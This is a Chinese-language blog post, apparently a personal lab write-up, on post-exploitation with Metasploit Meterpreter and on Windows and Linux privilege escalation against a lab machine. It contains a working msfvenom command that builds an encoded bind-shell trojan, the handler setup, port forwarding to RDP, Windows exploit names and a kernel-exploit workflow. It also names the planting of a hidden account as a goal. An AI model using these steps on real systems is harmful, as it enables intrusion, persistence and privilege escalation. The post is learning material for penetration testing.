后渗透阶段的Meterpreter与提权的学习与实验

前言

提权,是黑客的专业名词,一般用于网站入侵和系统入侵。顾名思义,提权就是提高自己在服务器中的权限。
大家都知道,当我们入侵了一台服务器并拿到了低权限shell时需要进行提权。
本文就来讲解如何提权并判断哪些低权限的shell可以提升到高级权限。

正文

提权前提

1.已经拿到低权shell
2.被入侵的机器上面有nc,python,perl等linux非常常见的工具
3.有权限上传文件和下载文件

提权思路

1.拿到低权限shell(如webshell/服务器低权限shell)
2.搜索主机信息
3.寻找exp
4.尝试提权到高级别权限用户
5.添加隐藏账户

环境准备

靶机 Ubuntu 18.04.1 LTS
攻击机 kali

提权过程

连接靶机

  1. 使用低权限账户登录
    首先检验下昨天的学习
    我们使用Metasploit连接我们的靶机
    使用msfvenom生成shell脚本

为了防止之后出现”Module database cache not built yet, using slow search”提示
首先要执行接下来三个命令

  1. service postgresql start
  2. msfdb init
  3. msf > db_rebuild_cache

补充:PostgreSQL 数据库端口号是5432

然后执行以下的命令

1
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=192.168.65.128 LPORT=33333 -e x86/shikata_ga_nai -i 3 -f elf -o cool.elf

  • 连接木马
    开启msf,启用exploit/multi/handler模块。

    因为我两台都是虚拟机所以我们采取正向连接的方式

    1
    2
    3
    4
    5
    6
    7
    8
    msf > use exploit/multi/handler 
    msf exploit(handler) > set payload linux/x86/meterpreter/bind_tcp
    payload => linux/x86/meterpreter/bind_tcp
    msf exploit(handler) > set RHOST 192.168.65.161
    RHOST => 192.168.65.161
    msf exploit(handler) > set LPORT 33333
    LPORT => 33333
    explot

注意:这里set的payload跟生成木马使用的payload要一致,其余的参数根据选择的payload而填写。

在靶机执行脚本

我们成功获取到shell

Meterpreter

这部分主要参考

https://paper.seebug.org/29/

meterpreter介绍

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。
meterpreter很强大,如果可以尽力使用

Meterpreter中常用的Shell

1、reverse_tcp

这是一个基于TCP的反弹shell,

2、reverse_http

基于http方式的反向连接,在网速慢的情况下不稳定。

3、reverse_https

基于https方式的反向连接,在网速慢的情况下不稳定。

4、bind_tcp

这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

基本命令
命令大全

在meterpreter下面进行help:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
Core Commands
=============

Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
help Help menu
info Displays information about a Post module
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for 'load'
uuid Get the UUID for the current session
write Writes data to a channel


Stdapi: File system Commands
============================

Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
upload Upload a file or directory


Stdapi: Networking Commands
===========================

Command Description
------- -----------
arp Display the host ARP cache
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
route View and modify the routing table


Stdapi: System Commands
=======================

Command Description
------- -----------
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS

可以看到有很多命令工具可以使用,非常方便!

基本命令
  1. background:这个命令是将当前的session放到后台运行,可以在msf中继续其他渗透任务;
  2. sessions:这个命令需要配合上面的background使用,该命令是将后台的会话打开,进行会话操作。 可以使用sessions -i id 重新连接在后台的session会话
  3. quit 退出会话
  4. shell 获得控制台权限
  5. irb 开启ruby终端
    文件系统命令
  6. cat 查看文件内容
  7. getwd 查看当前工作目录
  8. upload 上传文件到目标机上
  9. download 下载文件到本机上
  10. edit 编辑文件
  11. search 搜索文件
    网络命令
  12. ipconfig / ifconfig 查看网络接口信息
  13. portfwd add -l 4444 -p 3389 -r 192.168.1.102 端口转发,本机监听4444,把目标机3389转到本机4444
  14. rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 然后使用rdesktop来连接,-u 用户名 -p 密码
  15. route 获取路由表信息
    系统命令
  16. ps 查看当前活跃进程
  17. migrate pid 将Meterpreter会话移植到进程数位pid的进程中 migrate将进程转移至其他稳定进程中,实战用需要。
  18. execute -H -i -f cmd.exe 创建新进程cmd.exe,-H不可见,-i交互
  19. getpid 获取当前进程的pid
  20. kill pid 杀死进程
  21. getuid 查看权限
  22. sysinfo 查看目标机系统信息,如机器名,操作系统等
  23. shutdown 关机
    后渗透攻击模块(windos)

    这部分主要参考(包括维权)

    https://paper.seebug.org/29/

windows提权

getsystem

利用meterpreter中的getsystem命令,该命令自动寻找各种可能的适应技术,以便将用户权限提升到更高级别。默认值0会尝试所有列出技术来尝试提权,直至成功。提权方式采用命令管道模拟提升的方法和令牌复制的方法。该命令使用方便,并且简单高效,在渗透测试中会频繁使用到,建议所有提权过程中先行尝试此方法。

利用本地漏洞

本地漏洞提权,即使用本地漏洞的利用程序(loca>exploit)提升权限。就是说通过运行一些现成的造成溢出漏洞的exploit,把用户从users组或其它系统用户中提升到administrators组(或root)。
溢出漏洞就像杯子里装水,水多了杯子装不进去,就会把里面的水溢出来。而相对计算机来说计算机有个地方叫缓存区,程序的缓存区长度是被事先设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出了。

输入命令shell进入目标机CMD命令行,再利用systeminfo命令或者通过查询 c:\windows\ 里留下的补丁号.log来看看目标机大概打了哪些补丁。
查看目标主机有无打补丁,我们可以尝试利用Windows下已有的漏洞提权,如ms13_053,ms14_058,ms16_016,ms16_032等等。

成功利用好这个进程后记得,使用migrate命令迁移到该进程中

剩余方法 传送门

linux提权

https://xz.aliyun.com/t/2512

搜索exp,上传
  1. 将提权脚本上传到服务器/tmp目录下
  2. 在服务器上运行检测脚本,可在输出结果中找到相关漏洞信息站点及攻击载荷
  3. 访问漏洞信息网站,查看漏洞信息,下载利用脚本

    可以在这里搜索

http://www.exploit-db.com/

  1. 或者使用Kali本地searchsploit(metasploit),寻找对应编号的exp,尝试提权
  2. 选择一个payload上传到服务器
  3. 在服务器上执行提权代码,发现编译失败,提示版本错误
  4. 检测靶机内核版本
  5. 执行脚本,寻找对应内核版本的exp,
  6. 访问网址,获取exp
  7. 更换exp,再次尝试
  8. 运行提权代码

    不行就换不断尝试

    参考

    https://xz.aliyun.com/t/2853
    https://www.freebuf.com/articles/system/129549.html
    https://xz.aliyun.com/t/2862
    https://www.anquanke.com/post/id/87292
    https://xz.aliyun.com/search?page=1&keyword=%E6%8F%90%E6%9D%83
    https://xz.aliyun.com/t/2512
    https://blog.csdn.net/freestyle4568world/article/details/54712901

本文标题:后渗透阶段的Meterpreter与提权的学习与实验

文章作者:MuseLJH

发布时间:2019年02月19日 - 22:52

最后更新:2019年02月19日 - 22:56

原始链接:https://museljh.github.io/2019/02/19/后渗透阶段的Meterpreter与提权的学习与实验/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------END-------------
0%